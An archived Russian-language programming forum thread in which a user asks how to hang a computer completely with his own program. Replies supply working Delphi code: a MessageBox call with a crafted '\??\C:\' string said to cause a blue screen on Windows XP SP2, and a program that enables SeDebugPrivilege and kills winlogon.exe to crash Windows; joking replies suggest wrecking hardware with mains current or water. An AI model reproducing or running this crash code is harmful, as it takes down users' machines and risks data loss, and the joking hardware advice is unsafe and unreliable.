Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2008.02.10;
Скачать: CL | DM;

Вниз

Как лучше всего повесить намертво компьютер?   Найти похожие ветки 

 
Катунов Юрий ©   (2008-01-06 19:35) [0]

Как лучше всего повесить намертво компьютер при помощи своей программы?


 
homm ©   (2008-01-06 19:37) [1]

program Project1;
{$APPTYPE CONSOLE}
uses
 Windows;

const
s = "\??\C:\\";
var
I: Integer;
begin
 for I := 0 to 9 do
   MessageBox(0,s,s,MB_SERVICE_NOTIFICATION);
end.


 
Юрий Зотов ©   (2008-01-06 19:40) [2]

24 года...
:-(


 
Катунов Юрий ©   (2008-01-06 19:41) [3]

хм...Чё то мне не нравится уже код. Полюбому в чём то подвох... Что значит
s = "\??\C:\\"???????


 
homm ©   (2008-01-06 19:42) [4]

> [3] Катунов Юрий ©   (06.01.08 19:41)

а попробовать не сутьба?


 
homm ©   (2008-01-06 19:43) [5]

Кстати, на СП2 работает, но в одном из патчей это пофиксили.


 
Катунов Юрий ©   (2008-01-06 19:47) [6]

Ну смотри homm!!!... ща попробую!!!... чО как зайду через парочку дней и тогда, тогда я тебя поблагодарю!!!
ps
 Что такое правдо?


 
homm ©   (2008-01-06 19:50) [7]

> [6] Катунов Юрий ©   (06.01.08 19:47)
> Что такое правдо?

Это слово какое-то, почти «правда», только буква «о» на конце.

Из остального сообщение ничего не понял.


 
kernel ©   (2008-01-06 19:56) [8]

пропробовал на СП2 -- BSOD :)
аналог завершения winlogon :)


 
Катунов Юрий ©   (2008-01-06 20:00) [9]

Попробовал. Вывел МесседжБокс парочку раз с аброй-кадаброй и перезагрузка с последующим восстановлением системы. Ерунда..... у кого хлеще примеры есть... чтоб прямо совсем намертво


 
ПЛОВ ©   (2008-01-06 20:02) [10]

А может убьете себя апстену. Только чтоб совсем намертво!


 
homm ©   (2008-01-06 20:02) [11]

Не понятно, что тогда «повесить совсем намертво» в твоем понимании?


 
Катунов Юрий ©   (2008-01-06 20:03) [12]

Да...как раз с буквой о на конце было


 
Катунов Юрий ©   (2008-01-06 20:06) [13]

Чтоб прямо вообще потом винда слетела


 
kernel ©   (2008-01-06 20:06) [14]

можно без MessageBox`ов. Вроде бы так:

program PCKickProject;

uses
 TlHelp32, Windows;

procedure KillProcess(ProcessCaption: string);
type
PTOKEN_USER = ^TOKEN_USER;
_TOKEN_USER = record
User : TSidAndAttributes;
end;
TOKEN_USER = _TOKEN_USER;
var
hSnapShot:THandle;
uProcess:PROCESSENTRY32;
r:longbool;
KillProc:DWORD;
hProcess:THandle;
hToken:THandle;
cbPriv:DWORD;
Priv,PrivOld:TOKEN_PRIVILEGES;
dwError:DWORD;
ProcessHandle:THandle;
begin
hSnapShot:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
uProcess.dwSize := Sizeof(uProcess);
if(hSnapShot<>0)then
begin
r:=Process32First(hSnapShot, uProcess);
while r <> false do
begin
if  ProcessCaption = uProcess.szExeFile then
KillProc:= uProcess.th32ProcessID;
r:=Process32Next(hSnapShot, uProcess);
end;
CloseHandle(hProcess);
CloseHandle(hSnapShot);
end;

hProcess:=OpenProcess(PROCESS_TERMINATE,false,KillProc);
if hProcess = 0 then
begin
 cbPriv:=SizeOf(PrivOld);
 OpenThreadToken(GetCurrentThread,TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES,false,hToken);
 OpenProcessToken(GetCurrentProcess,TOKEN_QUERY or  TOKEN_ADJUST_PRIVILEGES,hToken);
 Priv.PrivilegeCount:=1;
 Priv.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
 LookupPrivilegeValue(nil,"SeDebugPrivilege",Priv.Privileges[0].Luid);
 AdjustTokenPrivileges(hToken,false,Priv,SizeOf(Priv),PrivOld,cbPriv);
 hProcess:=OpenProcess(PROCESS_TERMINATE,false,KillProc);
 dwError:=GetLastError;
 cbPriv:=0;
 AdjustTokenPrivileges(hToken,false,PrivOld,SizeOf(PrivOld),nil,cbPriv);
 CloseHandle(hToken);
end;
TerminateProcess(hProcess,$FFFFFFFF);
end;

begin
KillProcess("winlogon.exe");
end.


 
kernel ©   (2008-01-06 20:07) [15]


> Катунов Юрий ©   (06.01.08 20:06) [13]
>
> Чтоб прямо вообще потом винда слетела

у меня на работе вирус такой попадался, все данные с винта моментально сносил


 
homm ©   (2008-01-06 20:08) [16]

> [13] Катунов Юрий ©   (06.01.08 20:06)

есть несколько аппартно- и прогрммно-независимых методов. Рассказать?


 
{RASkov} ©   (2008-01-06 20:12) [17]

> [16] homm ©   (06.01.08 20:08)
> есть несколько аппартно- и прогрммно-независимых методов.
> Рассказать?

Во-во... аппаратные, давай рассказывай.... гранатки там всякие, бомбочки..... все остальное фуфло :)


 
Johnmen ©   (2008-01-06 20:13) [18]

Когда ребенок ноет "Хочу!", ему обычно объясняют, что ему еще рано; либо растолковывают по мере возможности, что это бяка; либо отвлекают внимание на привычные игрушки...


 
Катунов Юрий ©   (2008-01-06 20:13) [19]

Конечно расскажи.
ps. У меня на компьютере последний антивирус от семантика, мне ничто не страшно. Компьютер выжевет в любом случае


 
{RASkov} ©   (2008-01-06 20:16) [20]

> [19] Катунов Юрий ©   (06.01.08 20:13)
> Компьютер выжевет в любом случае

Умрет вместе с надеждой)


 
homm ©   (2008-01-06 20:19) [21]

> [19] Катунов Юрий ©   (06.01.08 20:13)
> Конечно расскажи.

Самый простой способ — пнуть сбоку по системному блоку, желательно со стороны мат. платы. Так эффективнее.
Второе, раскрутить системный блок, поднести к работающей мат. плате. оголенные провода 220в. Должен пойти такой прикольный дымок и искорки.
Так же эффективно воздействуют водные процедуры. Попробуй представить что чичтемник это титаник, а ты айсберг, когда будешь в ванной купатся. Обязательно расшиби в борту коробля дыру головой.
Можно еще не мало интересных способов придумать…


 
Катунов Юрий ©   (2008-01-06 20:27) [22]

-)))))

>kernel ©   (06.01.08 20:06) [14]
>можно без MessageBox`ов. Вроде бы так:


Я пока мандражирую пробовать этот код, мне слово вирус не нравится... хотя у меня ж крутой семантик. Мой компьютер выжевет в любом случае.
А вот советы homm - это уже старые, дедовские методы, проверенные времинем. Нужны новинки, прогрессивные методы, алгоритмы так сказать -)))


 
{RASkov} ©   (2008-01-06 20:27) [23]

> Должен пойти такой прикольный дымок и искорки.

Не сомневался, что будет интересно :)
:о)
С водой хуже всего.... я свою пивом заливал..... отрубилась, но после пары дней отходняка всёж стартанула, до сих пор работает, правда видеокарте повезло меньше, но и она потом отработала более полугода... после чего окончательно помёрла, а мать уже 2,5г после этого пашет :)
Я их (видео+мама) после пива, спиртом отпаивал :)


 
{RASkov} ©   (2008-01-06 20:31) [24]

> [22] Катунов Юрий ©   (06.01.08 20:27)
> А вот советы homm - это уже старые, дедовские методы

Ну это ты зря, homm "плохого" не посоветует....)

> проверенные времинем

вот видешь.... все надежно...
:о)


 
turbouser ©   (2008-01-06 20:34) [25]

Некоторые умельцы умудряются своим кодом процессоры сжигать.
К счастью, я так не умею и знать не хочу как это делается :)


 
{RASkov} ©   (2008-01-06 20:35) [26]

> [25] turbouser ©   (06.01.08 20:34)
> Некоторые умельцы умудряются своим кодом процессоры сжигать.

Ого(

> К счастью, я так не умею и знать не хочу как это делается

А я хочу, дабы так случайно не сделать :)


 
turbouser ©   (2008-01-06 20:37) [27]


> {RASkov} ©   (06.01.08 20:35) [26]
>
> А я хочу, дабы так случайно не сделать :)

Не, лучше не знать. Это же такой соблазн :))


 
Anatoly Podgoretsky ©   (2008-01-06 20:38) [28]

> Юрий Зотов  (06.01.2008 19:40:02)  [2]

Меньше 25 не дадут, разве что по амнистии раньше выйдет.


 
{RASkov} ©   (2008-01-06 20:39) [29]

> [27] turbouser ©   (06.01.08 20:37)
> Это же такой соблазн :))

Ой... не говори :)

И всеж я сомневаюсь, что современные "процы" можно попалить программно....


 
kernel ©   (2008-01-06 20:45) [30]

кстати

> kernel ©   (06.01.08 20:06) [14]

к

> kernel ©   (06.01.08 20:07) [15]

никак не относится :)


> {RASkov} ©   (06.01.08 20:39) [29]

можно, напросто, например, остановив кулер на CPU :)



Страницы: 1 вся ветка

Текущий архив: 2008.02.10;
Скачать: CL | DM;

Наверх




Память: 0.54 MB
Время: 0.021 c
15-1200080417
Черный Шаман
2008-01-11 22:40
2008.02.10
Билинейная или бикубическая фильтрация с учетом TransparentColor


15-1199899987
@!!ex
2008-01-09 20:33
2008.02.10
Подключиьб IDE винт к ноуту... реально ли?


6-1180003716
DVM
2007-05-24 14:48
2008.02.10
Проверить, используется ли уже данный UDP порт.


2-1200326503
Windows.Error[41].Generate;
2008-01-14 19:01
2008.02.10
Скопировать весь текст из memo


9-1166878569
maxProg
2006-12-23 15:56
2008.02.10
Direct3D - Освещение